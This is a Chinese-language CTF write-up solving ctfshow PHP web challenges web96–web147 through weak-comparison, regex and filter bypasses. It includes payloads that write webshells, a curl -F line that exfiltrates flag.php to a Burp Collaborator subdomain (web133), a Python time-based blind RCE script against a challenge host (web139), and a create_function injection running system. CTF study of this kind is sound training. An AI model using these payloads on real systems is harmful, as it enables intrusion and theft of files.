大佬文章
intval
的绕过
正则匹配
sha1
和 md5
的绕过
php
运算符优先级
php://fliter
的各种过滤器
正则匹配的回溯
php
正则匹配最大回溯
linux
的 curl
命令用法
无回显 rce
的总结
命令执行总结
- 本文中引用的所有文章都在上面了,感谢各位大佬!
web96
if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}
./
表示当前目录,故u=./flag.php
即可
web97
if (md5($_POST['a']) === md5($_POST['b']))
md5
函数传入数组时候会返回NULL
,故传入两个数组即可
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
>
- 源码中
in_array函数
没有第三个参数(严格检查),这样只会进行弱类型比较,不会检查数据类型。
因此会将如 60shell.php
识别为 60
后再进行检查。所以令 n=60shell.php
,之后写入木马,多刷新几遍即可
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}
}
?>
php
运算符优先级:&& > || > = > and > or
所以检查时候只要 v1
是数字,然后利用 v2
和 v3
来注释掉中间的 ctfshow
即可
web101
比上一题多过滤了好多
- ReflectionClass类:可以报告一个类的有关信息
直接 echo new Reflectionclass('ctfshow');
即可
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
php5
中is_numberic
可以识别16
进制,而php7
不行
考虑 v1=hex2str
(十六进制转码),这样就可以把任意的代码通过 v2
写入指定文件了
只不过对 v2
有 is_numbertic
检查十分讨厌,只有 <?=`cat *`;
经过 base64
编码后的字符串满足条件
考虑 v3=php://filter/wrrite=convert.base64-decode/resource=1.php
,之后访问 1.php
即可
web105
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}
foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
$$key
在php
中相当于$($key)
(比如说$key=a
的情况下$$key
相当于$a
)
这样 get
请求为 x=flag
,post
请求为 error=x
即可
复盘时看到了一种有意思的解法,只发送 get
请求:suces=flag&flag=
,这样子会直接输出 $suces
,从而得到 flag
web106
sha1
和md5
的绕过
web108
include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c']===FALSE) {die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){echo $flag;
}
ereg
函数存在%00
截断的漏洞
因此直接 ?c=%00778
即可
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}
php
原生类利用
__toString
:当一个对象被当作字符串对待的时候,会触发这个魔术方法
需要找到含有 __toString
方法的原生类,之后令 v2=system('cat flag')
即可输出
原代码为 $v2()
,意思是将 v2
的结果当作函数名调用所以没有影响
web110
大概比上面那个多过滤了好多符号,反正括号和引号是不能用了
-
FilesystemIterator
:文件系统遍历器getcwd
:获取当前路径
通过以上两个的结合,可知 flag
的名字,之后直接访问即可
web111
GLOBALS
:引用全局作用域中可用的全部变量
web112
php://fliter
的各种过滤器
当然,这题可以不用过滤器
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}
is_file
函数漏洞:函数处理目录长度有某个限制,超过这个限制即可
/proc/self/root
是指向根目录的连接,多次重复这个即可
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
echo $a[1];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}}else{echo "hacker";}
}
-
$server
pause_str
:将字符串转化为多个变量assert
$_SERVER['argv']
可以读取 get
传参的内容。考虑和 pause_str
一起使用,将传入的参数解析成一个数组即可(或者和 assert
一起使用)
web127
$_SERVER['QUERY_STRING']
不会进行urldecode
而$_GET
会,所以用url
编码绕过即可
web128
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
}
-
gettext()
:返回字符串的函数get_defined_vars()
:返回由所有已定义变量所组成的数组
_()
可以代替 gettext
,这样就绕过了对第一个参数的检查
web131
include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;
}
-
php
正则匹配:-
贪婪模式:匹配结果出现多种情况时,选择最长的那个
-
懒惰模式:匹配结果出现多种情况时,选择最短的那个(由
?
修饰)
-
-
正则匹配的回溯:正则匹配时会对匹配成功的字串进行压栈,以便于失配后的状态回溯
-
php
正则匹配最大回溯:当压栈数量超过php
设定最大值时,会直接停止匹配
题目中正则表达式 +?
会出现最大回溯超过设定值的问题,如果在字符串 36Dctfshow
前加上好多其他的字符,会导致 preg_match
返回 false
从而达到绕过的效果
web132
-
php
逻辑运算符短路:false && ...
中&&
后面的不会执行true || ...
中||
后面的不会执行
web133
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}
linux
的curl
命令用法
考虑上传 `$F`
,其中反引号是 shell_exec()
的缩写,这样就可以实现对 $F
的自我调用,从而达到命令执行
构造 $F
前六位为 `$F%20`;
,这样相当于执行 eval(shell_exec($F););
。然后在这六位后面加上想要执行的命令即可
发现这题是无回显 rce
,考虑将 flag
外带。在 burpsuite
上的 collaborator
插件申请一个子域名,之后用 curl -F hungry=flag.php [子域名]
这样的语句就能把 flag.php
发送到自己的服务器上了
web135
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}
- 无回显
rce
的总结
过滤的不严,直接用类似于 ca''t flag.php > 1.txt
的命令就能把 flag.php
写入到其他文件中
web136
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
-
linux tee
命令:感觉和>
的作用差不多linux xargs
命令:主要是和管道一起使用,将管道左侧的标准输入转化为命令行输入linux sed
命令:文本修改工具
标准解法使用 tee
命令替换 >
,将所需执行的命令写入其他文件中并读取
还有一个很有意思的解法是直接对源码进行修改
ls | xargs sed -i "s/die/echo/"
ls | xargs sed -i "s/exec/system/"
大概意思是对于目录下的所有文件,把文件中的 die
转化为 echo
,exec
转化为 system
,之后直接命令执行即可
web139
web136
的加强版,这里没有写的权限了
考虑时间盲注,这个是我的判断语句(其中 th
是所求字符串的第几个字符,c
是可能的字符集):
if [ `cat /f149_15_h3r3|args| awk \"NR==1 \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi
粘上脚本
import requests
import time
import string
all_str = string.ascii_letters + string.digits + "\{\}_-<?>"
print(all_str)
url = "http://49c10546-c240-4770-9a4d-6344ac375b3e.challenge.ctf.show/?c="
def decode(line, th):for c in all_str:payload = f"if [ `cat /f149_15_h3r3|xargs| awk \"NR=={line} \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi"try:requests.get(url + payload, timeout = 0.5)except:return creturn " "if __name__ == '__main__':print(requests.get(url=url).elapsed.total_seconds())line = 1length = 100for i in range(1, line + 1):print(f"line {i} begin!")ans = ""for j in range(1, length + 1):ans = ans + decode(i, j)print(ans)
#ctfshow 7e3cc34b-cd5d-4bbc-8250-39c7720c6188
web140
php
弱类型比较
web147
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
-
命令执行总结:文章里面介绍了
create_function
函数的注入 -
php
所有原生函数都在\
命名空间中
考虑 create_function
注入:
ctf = \create_function
show = }system("cat flag");/*
即可